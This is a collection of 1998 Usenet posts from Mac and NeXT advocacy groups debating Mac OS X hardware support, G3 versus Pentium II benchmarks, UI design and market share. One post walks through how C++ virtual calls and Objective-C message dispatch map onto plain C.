From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 1998 06:27:09 GMT
Organization: University of California at San Diego
Message-ID: <slrn6rtg5r.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com>
On Fri, 24 Jul 1998 13:12:51 -0700, Michael M. Eilers wrote:
:In article <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz>,
:mcox@ihug.co.nz (Martin Cox) wrote:
:
:> >Who cares? You have said yourself that hardware is not the issue here. It
:> >is TIME, TIME, TIME DAMMIT! Apple does NOT HAVE THE TIME to troubleshoot
:> >and make OS X backwards-compatible for all PCI macs.
:>
:> Maybe Apple doesn't have time, but they've just got $2_billion_ in cash and
:> short term funds. How Apple expects to _save_ its way into prosperity is
:> beyond me. Why don't they use some of that and hire some people? So it
:> costs them a mill or two or three in the short run. How much do you think
:> the extra customer confidence and market image is worth in the longer run?
Because that would show up as increased on-going costs of operations on
the earnings sheet, and would lower shareholder profitability, future
earnings estimates, and the stock price.
As far as the OSX for G3 only vs others, I hope the central reason is
long-term reliability, to keep a clean internal architecture. One which
grows as little moss and cruft with time as possible.
The G3 boards are different from their predecessors, and perhaps are
cleaner to support.
Obviously they have to make a cutoff somewhere. I'm guessing they
made a cutoff at a significant technical architectural boundary.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 1998 06:35:57 GMT
Organization: University of California at San Diego
Message-ID: <slrn6rtgmc.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <mcox-ya02408000R2507981604510001@newsource.ihug.co.nz> <tbrown-2507981513060001@mv202.axom.com>
On Sat, 25 Jul 1998 15:13:05 -0400, Ted Brown <tbrown@netset.com> wrote:
:How hard can it be to
:support a motherboard that already runs Rhapsody?
A new major kernel revision's worth?
Rhapsody is Mach 2.5+++++, a kernel some of them have been familiar
with since 1988 or so.
OSX is some new combination of features and code from various academic
and industrial projects, most of which were called "Mach 3.0" at some
time or another.
Presumably it has features that were not provided by the previous Mach
version.
The OSX kernel does not presently exist for any machine: big parts remain
to be written and combined.
It is almost certain there will be unforseen and unforseeable problems
before its release. Look how long it took Solaris 2.{0,1,2,3,4,5} to get
stable. (I.e. few customers considered anything before 2.4 to be
particularly worthwhile).
There may be problems which are fixable on some architectures, and not
others.
Maybe it would be easy to support some earlier machines.
Maybe not. Kernel development is not easy, and requires luck,
experience and insight. Extra bodies thrown at the task do not
accomplish squat. Ask IBM.
It would be nice to know hard numbers about how many machines are
going to be "left out". E.g. how many machines are going to run
Rhapsody 1.0 and not 2.0.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 1998 06:39:01 GMT
Organization: University of California at San Diego
Message-ID: <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net>
:It is very strange Joe, Mac advocates have been championing Apples great
:backward compatibility as a big feature. Now we're being told it doesn't
:count for anything?
It does: MacOS 8.5, MacOS 9.
:Josh
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 1998 06:57:43 GMT
Organization: University of California at San Diego
Message-ID: <slrn6rthv7.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com> <6p6loq$ood$1@nnrp1.dejanews.com> <slrn6re6d9.32b.jason@jhste1.dyn.ml.org> <6p85r5$h40$1@nnrp1.dejanews.com> <35BDF088.8AE8204@earthlink.net> <joe.ragosta-2807981306530001@wil53.dol.net> <35BE5C19.300D186F@earthlink.net>
:
:Much less than the jump from Mac OS to Rhapsody. The jump from Rhapsody to Mac OS
:X is incremental only. It reflects a continued integration of Apple technologies
:with NeXT technologies, that is all, something that they had running in alpha
:version already at the last MacWorld. It is not a new OS; it is a new version of
:an OS (Rhapsody).
This isn't clear.
In my mind it seems like a larger jump than from System 6 to System 8.
It's a new kernel, and a new implementation, in large part from scratch, of
some subset of MacOS API's. Probably a new paging system. Definitely
new messaging. It's a new imaging system. A new device model.
Real multiprocessing, for the first time ever, and with a seriously modern
and capable architecture.
The kernel/BSD interface will probably have some differences.
What's the same? Yellow box (modulo imaging). BlueBox (module imaging).
OK, filesystems. (unless the BSD vnode interface needs to be different.)
Anything else?
I think the OSX development schedule is quite aggressive with even the
announced plans.
Remember that kernel bugs are 5 times harder to find than ordinary bugs
and 100 times more damaging.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Tue, 28 Jul 1998 23:55:59 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net>
In article <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net>,
derekc@spamrat.filler.to.remove.frontiernet.net (Derek Currie) wrote:
> but the fact
> of the matter is that NO PC runs as fast as an iMac, not even a Xeon at
> over 5X the price. And certainly no PC is as simple. There is a TERRIFIC
> commercial Apple are going to let loose for the iMac that will prove this
> fact without a shadow of a doubt. Stay tuned.
>
> Smile, Apple is making its mark again.
I guess you obviously havent seen the photoshop results?
Are you trolling or are you serious?
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why does Apple call my P2 a snail?
Date: Wed, 29 Jul 1998 00:02:30 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2907980002300001@sdn-ar-001casbarp204.dialsprint.net>
References: <35b94d45.0@news.velocity.net> <stone-2507981432100001@rc-pm3-1-46.enetis.net> <35ba81f6.0@news1.ibm.net> <stone-2607981022440001@rc-pm3-1-46.enetis.net> <macghod-2807981527120001@sdn-ar-001casbarp011.dialsprint.net> <MPG.102856cbdcdc6300989694@nntp.mindspring.com>
In article <MPG.102856cbdcdc6300989694@nntp.mindspring.com>, qed@pobox.com
(Paul Hsieh) wrote:
You see my curse for being objective? I get called names by people like
Edwin and Joe for being a "wintel troll" and I get called a cowardly
"apple monger" by pc advocates. Like is tough when you are objective ;)
> 001casbarp011.dialsprint.net>, macghod@concentric.net says...
> > stone@stoneentertainment.com (Kevin Stone) wrote:
> >
> > > SPEC may not demonstrate real world performance over multiple systems, and
> > > it does even worse at demonstrating real world performance across
> > > paltforms. Read Intel's disclaimer at the bottom of this web page for
> > > more details... http://www.intel.com/procs/perf/PentiumII/spec95fp_win.htm
> >
> > Well, how does it do compare to bytemark? You agree with me that a g3 is
> > about %30 faster than a p2 at the same clock speed. photoshop shows the
> > same thing, so we will use this for comparison.
>
> Why are you Apple-mongers such cowards? Photoshop has been hand tuned
> for Apple processors for nearly half a decade now. The move to Intel
> CPUs was nothing more than a "port".
I use photoshop because it is middle of the road. Their are various apps
that people like joe claim are biased for the p2, and Joe has liked to use
photoshop
> Why not try a real test: Quake.
>
> Or better yet: WinBench.
>
> > bytemark "shows" that a g3 266 is "twice" as fast as a p2 300.
>
> Only if you use Motorola's in-house unreleased, unverified, benchmark
> optimized cooked up compiler versus an obsolete x86 compiler with all of
> its optimization flags turned off (these are the actual conditions in
> which Byte magazine obtained these bogus results.)
You take that back you troll!! Bytemark is the most reliable benchmark
ever, if you read any of my posts you would know that!!
> Other results obtained by comparing Code Warrior for the PPC versus MSVC
> on the P2 (the two most popular and therefore likely to be used in
> acutally deployed software applications for each machine) shows that the
> P2 and G3s run at nearly identical performance for similarly clocked
> machines. Of course P2's clock at 400Mhz, which is somewhat faster than
> G3s.
>
> Some tests I, with the help of a PPC expert seemed to confirm that PPC's
> and P2's run at about the same performance (the P2 is slightly faster on
> floating point) at the same clock speed.
>
> > [...] Photoshop shows that a g3 266 is %7 faster than a p2 300. So
> > bytemark has a delta of + %97 What does spec show the difference as
> > between a p2 300 and a g3 266?
>
> Using Photoshop is about as bad as using Motorola's tricked up compilers.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: what the heck?(WAS: Market share numbers)
Date: Tue, 28 Jul 1998 23:53:34 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2807982353360001@sdn-ar-001casbarp204.dialsprint.net>
References: <joe.ragosta-2707980922590001@wil37.dol.net> <macghod-2707981119300001@sdn-ar-001casbarp259.dialsprint.net> <35bcde8a.0@news.depaul.edu> <macghod-2707981851450001@sdn-ar-002casbarp026.dialsprint.net> <35BEA2B0.1932@geocities.com>
In article <35BEA2B0.1932@geocities.com>, landivar2@geocities.com wrote:
>
> Steve Sullivan wrote:
> <very big snip>
> The numbers are for % of computers sold in a certain time fraim not
> for total computers sold.
You snipped what I wrote... I dont think I said that, I believe I said,
in effect, to get market share you have to divide the number of units a
given company sells into the total number of units sold by all vendors...
As a example, say I have 1 piece of pie, to know what "share" of the pie I
had, you need to know how many total slices (= total number of units sold)
were in the pie. If their were 10 slices, and I had 1, then I have %10
share. Furthermore, it doesnt matter how many slices any other person
has, as long as the number of pieces stays the same and I have the same
ammount, my share is the same regardless of how many pieces others have
(thats to jon Hendry)
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: C++ vs. Objective C
Date: 29 Jul 1998 07:15:11 GMT
Message-ID: <6pmi5v$ih0$1@nntp2.ba.best.com>
References: <35b57b12.0@news.depaul.edu> <B1E0AE57-1BF4E@128.138.177.230> <6pfo6q$5gn$1@nntp2.ba.best.com> <petrichEwsxqy.Gz4@netcom.com>
In-Reply-To: <petrichEwsxqy.Gz4@netcom.com>
On 07/27/98, Loren Petrich wrote:
>
> Here's my understanding of the difference between C++ and
>Objective C, expressed as plain C:
>
> [Loren's example stuff deleted]
Here's a better example that migh be a bit clearer, especially for the
Objective C part.
Say we have a class in C++ named MyClass with a single int data member
named xyzzy. Furthermore, let's define one method named display() that
will cause the object to dump itself via printf. First, let's assume
that display() is not virtual.
The C++ declaration and definition might look like this:
class MyClass
{
public:
int xyzzy;
MyClass(int value);
void display();
};
MyClass::MyClass(int value)
{
xyzzy = value;
}
void MyClass::display()
{
printf("MyClass.xyzzy = %d",xyzzy);
}
Example usage:
void sampleFunction()
{
MyClass myClass(5);
MyClass *myClassHeap = new MyClass(10);
myClass.display();
myClassHeap->display();
}
The translation of that into C might be:
typedef struct MyClass
{
int xyzzy;
} MyClass;
void MyClass_ctor(MyClass *this, int value)
{
this->xyzzy = value;
}
void MyClass_display(MyClass *this)
{
printf("MyClass.xyzzy = %d\n",this->xyzzy);
}
void sampleFunction()
{
MyClass myClass;
MyClass *myClassHeap;
MyClass_ctor(&myClass,5);
myClassHeap = malloc(sizeof(MyClass));
MyClass_ctor(myClassHeap,10);
MyClass_display(&myClass);
MyClass_display(myClassHeap,20);
}
That's the simple case. Of interest is that there is no 'runtime' or
dynamic binding happening here at all.
Now let's make display into a virtual member function. Now the C++
declaration looks like this:
class MyClass
{
public:
int xyzzy;
MyClass(int value);
virtual void display();
};
Now the resulting C might look like:
typedef struct MyClass_vtable
{
void (*display)(MyClass *this);
} MyClass_vtable;
struct MyClass_vtable __MyClass_vtable =
{
MyClass_display,
};
typedef struct MyClass
{
int xyzzy;
MyClass_vtable *vtable;
} MyClass;
void MyClass_ctor(MyClass *this, int value)
{
this->vtable = &__MyClass_vtable;
this->xyzzy = value;
}
void MyClass_display(MyClass *this)
{
printf("MyClass.xyzzy = %d\n",this->xyzzy);
}
void sampleFunction()
{
MyClass myClass;
MyClass *myClassHeap;
MyClass_ctor(&myClass,5);
myClassHeap = malloc(sizeof(MyClass));
MyClass_ctor(myClassHeap,10);
myClass.vtable->display(&myClass);
myClassHeap->vtable->display(myClassHeap);
}
Now we can see roughly how C++'s runtime binding works. Derived
classes from MyClass would have their own vtable that contained the
same entries as __MyClass_vtable, except that some (or all) of the
entries may be overridden. This is how we get polymorphism on C++,
and is also the primary source of the C++ fragile base class problem.
If the vtable for MyClass changes at all, usually by adding new member
functions, any code that was compiled previously will not know about
the change in structure of MyClass_vtable, since the offsets were
locked down at compile time. The upside is that member function
dispatching in C++ is very fast.
Now we will finally go to the Objective C version of all that. Let's
use a similar class:
@interface MyClass : Object
{
int xyzzy;
}
- (id)initWithXyzzy:(int)value;
- (void)display;
@end
@implementation MyClass
- (void)initWithXyzzy:(int)value
{
[super init];
xyzzy = value;
return self;
}
- (void)display
{
printf("MyClass xyzzy = %d\n",value);
}
@end
void sampleFunction
{
MyClass *myClass = [[MyClass alloc] initWithXyzzy:10];
[myClass display];
}
The resulting structures would look something like this (cribbed from
NeXTSTEP's objc-class.h, with some stuff removed that's not useful
here, such as categories, protocols, the method caches, etc.)
struct objc_class
{
struct objc_class *isa;
struct objc_class *super_class;
const char *name;
long instance_size;
struct objc_method_list *methods;
};
struct objc_method_list
{
int method_count;
struct objc_method {
SEL method_name;
IMP method_imp;
} method_list[1]; /* variable length structure */
};
struct _objc_MyClass
{
struct objc_class *isa;
int xyzzy;
};
objc_method_list _MyClass_instanceMethods =
{
2,
{
@selector(initWithXyzzy:),
_MyClass_i_initWithXyzzy_,
},
{
@selector(display),
_MyClass_i_display,
}
};
struct objc_class _MyClass
{
&__MyClass, // The 'class' of our class object
&_Object, // Points to our super class struct
"MyClass",
sizeof(struct _objc_MyClass),
_MyClass_instanceMethods
};
struct objc_class __MyClass
{
&_Object, // The 'class' of our class object
&__Object, // Points to our super class struct
"_MyClass",
sizeof(struct objc_class),
NULL, // No class methods for MyClass
};
id MyClass = &_MyClass;
id _MyClass_i_initWithXyzzy(struct _objcMyClass *self, SEL _cmd, int
value)
{
// This call isn't quite this simple, but you get the picture
objc_MsgSendSuper(self,@selector(init));
self->xyzzy = value;
return self;
}
void _MyClass_i_display(struct _objcMyClass *self, SEL _cmd)
{
printf("MyClass xyzzy = %d\n",self->xyzzy);
}
void sampleFunction
{
struct _objcMyClass *myClass;
myClass = objc_MsgSend(objc_MsgSend(MyClass,@selector(alloc)),
@selector(initWithXyzzy:),10);
objc_MsgSend(myClass,@selector(display));
}
Here you can see that Objective C uses a method dispatcher function for
all forms of method calls. Where this differs from C++ is that nothing
is hardcoded about where you find the pointer to the correct function
to call. It also differs in that there is more overhead for performing
a method call. From my latest measurements on Rhapsody DR2, this is
somewhere around 30 clock cycles.
This code does not show what happens in the alloc method or how the
dispatcher searches for methods or uses a method cache. The alloc
method is what actually allocates the memory and sets up the 'isa'
instance variable to point to the class structure for the object being
allocated. In this case it would point to the _MyClass struct. You'll
also notice that _MyClass is itself an object, which is where Objective
C gets it's class object support from. C++ has no concept of class
objects.
I also chose to use the @selector() construct in the C code just to
simplify things. In reality at runtime this is turned into a unique
code for each unique method name in the entire runtime system. I
didn't feel that showing exactly how this is represented in the data
structures was necessary to demonstrate how the Objective C runtime
model differed from the C++ runtime model.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: rbarris@netcom.com (Robert Barris)
Subject: Re: View from the trenches
Message-ID: <rbarrisEwuIxn.C28@netcom.com>
Organization: Netcom
References: <6or4sj$83a$1@supernews.com> <6ple2d$ea2@newsb.netnews.att.com> <rbarrisEwtqq0.G9F@netcom.com> <6pm4ga$gaq@newsb.netnews.att.com>
Date: Wed, 29 Jul 1998 07:46:35 GMT
Sender: rbarris@netcom11.netcom.com
In article <6pm4ga$gaq@newsb.netnews.att.com>,
<gupta@kcopsrm.tm.tta.moc-mirror after @> wrote:
>Robert Barris <rbarris@netcom.com> wrote:
>>>
>>>BTW, a colleague just unpacked a new HP Kayak.
>>>This is a Pentium II 266 MHz tower The booklet says,
>>>average power consumption (not doing a file transfer) :
>>> Windows 95 : 32 W
>>> Windows NT : 45 W
>>>
>>>Was wondering why the difference ? Perhaps NT is swapping all the time :-)
>>
>>No, NT does not yet have power management in laptops.
>
>This is not a laptop -- it is a mini-tower.
Good point. Nonetheless there may be things that Win95 is doing to meet
Energy Star requirements, which NT can't do yet. Spinning down hard
drives or CDROMs? Just wild guesses.
Rob
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches: Multi-users
Date: 28 Jul 98 08:58:35
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul28085835@slave.doubleu.com>
References: <6or4sj$83a$1@supernews.com> <6p45f7$l73$1@nnrp1.dejanews.com>
<Josh.McKee-2307981802510001@pm3a8.rmac.net>
<6p9ami$olq$1@nnrp1.dejanews.com>
<Josh.McKee-2407981743100001@pm3a13.rmac.net>
<6pc9b1$8qd$1@nnrp1.dejanews.com>
<Josh.McKee-2507980855240001@pm3a23.rmac.net>
<MPG.102417abebbe2be9989a03@news.supernews.com>
<Josh.McKee-2607980957160001@pm3a6.rmac.net>
<6pflms$7mg$1@nnrp02.primenet.com> <6pg7pl$rbn$2@supernews.com>
<MPG.1025726544ba37c4989a22@news.supernews.com>
<35bbc451.0@news.depaul.edu>
In-reply-to: Jonathan W Hendry's message of 27 Jul 98 00:05:37 GMT
In article <35bbc451.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
In comp.sys.next.advocacy Donald Brown <don.brown@cesoft.com> wrote:
> The simple reason that you don't have to think about viruses on
> the NeXT computer, is that there aren't enough computers, and
> aren't enough software being passed around, for those jerks to
> get their jollies by writing viruses for.
> If you have a system where users can add hardware and the drivers
> for it, it will be possible to create viruses for it. It will be
> far more difficult to write them than for Mac and DOS/Windows,
> but they'll be there.
How has NT fared, with regards to viruses?
How could you tell if you had been infected? When the system crashes?
When it _doesn't_ crash?
[Sorry, NT has me in a black mood these days,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 98 08:43:22
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul28084322@slave.doubleu.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com>
<1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
<Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc
<andyba-ya02408000R2207981149400001@news>
<6p6qnj$fs21@Talisker.taide.net>
<andyba-ya02408000R2307981327300001@news>
<6pajhr$nj6$1@news.spacelab.net>
<andyba-ya02408000R2707981255140001@news>
In-reply-to: andyba@corp.webtv.net's message of Mon, 27 Jul 1998 12:55:14 -0700
In article <andyba-ya02408000R2707981255140001@news>,
andyba@corp.webtv.net (Andy Bates) writes:
In article <6pajhr$nj6$1@news.spacelab.net>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
> >Again, could you give me an example of something that you would
> >print that is NOT file-related?
>
> Let's say you've got a network packet sniffer going. Until you
> save that data somewhere, it's not associated with any file on a
> filesystem, yet it makes sense to be able to print a particular
> packet you're interested in.
Who says that a file has to be saved to disk (on a filesystem)
before it becomes a file? I can create a word-processing file, edit
it, print it, and choose not to save it to disk. That doesn't
change the fact that the collection of data I worked on and printed
was a file. It just wasn't a file that was ever saved to disk.
Well, it was a document. You can save a document to a file, but a
document is _not_ a file (though a file can generally be treated as a
document).
And with the packet-sniffer example, the data you collect IS in a
file; the file is maintained in memory. Whether or not that data
has been written to the filesystem is irrelevant.
It wasn't in a filesystem, therefor it wasn't a file. While in memory
it was a data structure. A file is a data structure, but it's a data
structure in a filesystem, which is also a data structure. A data
structure can also be treated as a document - thus, not only can a
file be a document, so can a file system, a web page, or a database
such as NetInfo.
Yeah, I'm saying that debating whether "Print" should be on the "File"
menu is silly - it shouldn't be a "File" menu in the first place. It
should be a "Document" or more specific menu...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 98 08:37:02
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul28083702@slave.doubleu.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com>
<Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>
<mNOSPAMroeder-1407981257200001@192.168.21.171>
<pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
<mNOSPAMroeder-1507981407020001@192.168.21.170>
<Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>
<1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
<Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>
<id_est-2007982007050001@192.168.1.3>
<Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu>
<joe.ragosta-2107981248320001@wil132.dol.net>
<aman-2107982305530001@scz-ca17-19.ix.netcom.com>
<6p50k6$b1o$2@lwnws01.ne.highway1.com>
<joe.ragosta-2207981217170001@wil79.dol.net>
<SCOTT.98Jul22111835@slave.doubleu.com>
<andyba-ya02408000R2307981322200001@news>
In-reply-to: andyba@corp.webtv.net's message of Thu, 23 Jul 1998 13:22:20 -0700
In article <andyba-ya02408000R2307981322200001@news>,
andyba@corp.webtv.net (Andy Bates) writes:
In article <SCOTT.98Jul22111835@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> In article <joe.ragosta-2207981217170001@wil79.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) writes:
> Keep in mind that the new laptops are not necessarily meant to do
> the same things as the "pro" laptops.
>
> So why should they have the same interface?
Um, because you can have the same interface that is useful for
advanced users, yet easy enough for novice users? Just a thought.
Seriously, why do you think that "pro" users should have a
different interface than new users? And yes, the Mac OS interface
is scalable depending on the level of complexity required by the
user.
I think that users on a 350Mhz CPU with 64M RAM and a 8Gig hard drive
should be allowed to excercise their machine more fully than an
interface which can run on a 100Mhz CPU with 4M RAM and no hard drive
would allow for. Otherwise, what's the point of all the extra power?
Beyond that, if I ever get a palmtop, I'll be pissed to no end if I
have to spend half my time arranging windows and doing other UI
management that I shouldn't have to do. While I _might_ use a palmtop
for an emergency web browsing session, I don't expect to use it for my
standard code editting and debugging sessions.
Given the current level of technology, a palmtop _should_ be more
focussed and less general. That's what makes it useful. It may be in
ten years or so, technology will have gotten to the point where the
only performance difference between a palmtop and a laptop is that the
laptop has a full keyboard and a bigger screen. That would turn my
opinions on their ears.
> They may be more like WinCE devices.
>
> Of the Windows programs I've worked with, the one who's interface
> I've liked the best thus far is Quicken. And it seems to pretty
> much dispense with the Windows interface in favor of it's own
> interface.
He didn't mean "more like WinCE devices" in terms of the interface;
he meant conceptually, they would be a scaled-down version of the
Mac OS, just like Windows CE is a scaled-down version of Windows.
I'm saying that WinCE as a scaled down Windows doesn't work for me.
I'm implying that a palmtop with a scaled down MacOS wouldn't work for
me, either.
> Until you know what they're trying to do with them, how can you
> criticize them for a given screen size?
>
> Likewise, how can you make UI predictions about it if you don't know
> what they're going to do with it?
He wasn't making UI predictions about it. He was refuting someone
else's prediction. Big difference.
"They may be more like WinCE devices" wasn't a prediction? Hmm,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ever
Date: 28 Jul 98 09:14:12
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul28091412@slave.doubleu.com>
References: <6pj8p5$4c7$1@nnrp1.dejanews.com>
In-reply-to: quinlan@my-dejanews.com's message of Tue, 28 Jul 1998 01:16:20 GMT
In article <6pj8p5$4c7$1@nnrp1.dejanews.com>,
quinlan@my-dejanews.com writes:
Have you ever quit an application because you didn't plan on using
it anymore rather than because you needed the memory?
All the time, ever since I upgraded my memory on my first NeXT (16M to
32M). At that point, apps launched quickly enough that it no longer
made much difference whether I hit Hide or Quit - when I needed the
app again, it was right there.
I do that all the time on Windows 95, the MacOS and OS because I
find that really long lists of running applications make it harder
for me to pick the one that I want. That, to me, indicates poor
user interface design. Can anyone think of a solution?
I'm not sure it's poor UI design. It's working just like a real
desktop - if you keep pulling out projects, without putting old ones
away, the old ones just hang around until they get annoying enough.
Someone has to do the cleanup at some point - at least on the computer
the "nuke it all" option is much more useful than wiping everything
into a box is for real desktops...
Beyond that, I often quit, say, Edit, because it would be just too
annoying to figure out what to get rid of and what to keep. I think
it's the equivalent of holding your Etch a Sketch upside down and
shaking, and it's not an unreasonable UI - it's simple, and useful.
The main area the computer could potentially help would be to track
relationships between windows, and compartmentalize them. Instead of
just "Hide" and "Hide all others", it would be nice to have "Hide all
other projects" and "Close all other projects". Also nice would be to
select from a list of projects, instead of a list of apps you use on a
project, or documents making up the project. Essentially, you've
introduced some navigation to get to documents, you go to the project
then the document within the project. For me this would cut perhaps
75% of perceived clutter.
I'm still not sure what to think about Rhapsody in this area, as it's
not been around long enough. I know that I can keep about 4x as many
apps running comfortably on OpenStep4.2/Mach compared to OpenStep/NT.
At first I thought this was simply lack of experience - but nowadays,
I've used NT for long enough that I know a number of tricks, and I
still don't feel comfortable with more than three or four apps
on-screen at a time. And I've seen plenty of evidence that this is a
common thing (the book "About Face" goes so far as to suggest that
people will generally maximize all their apps, something which I've
found fairly useful on NT - but which I've never desired on NeXTSTEP
or OpenStep).
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-FgMwY6ZvyiSH@localhost>
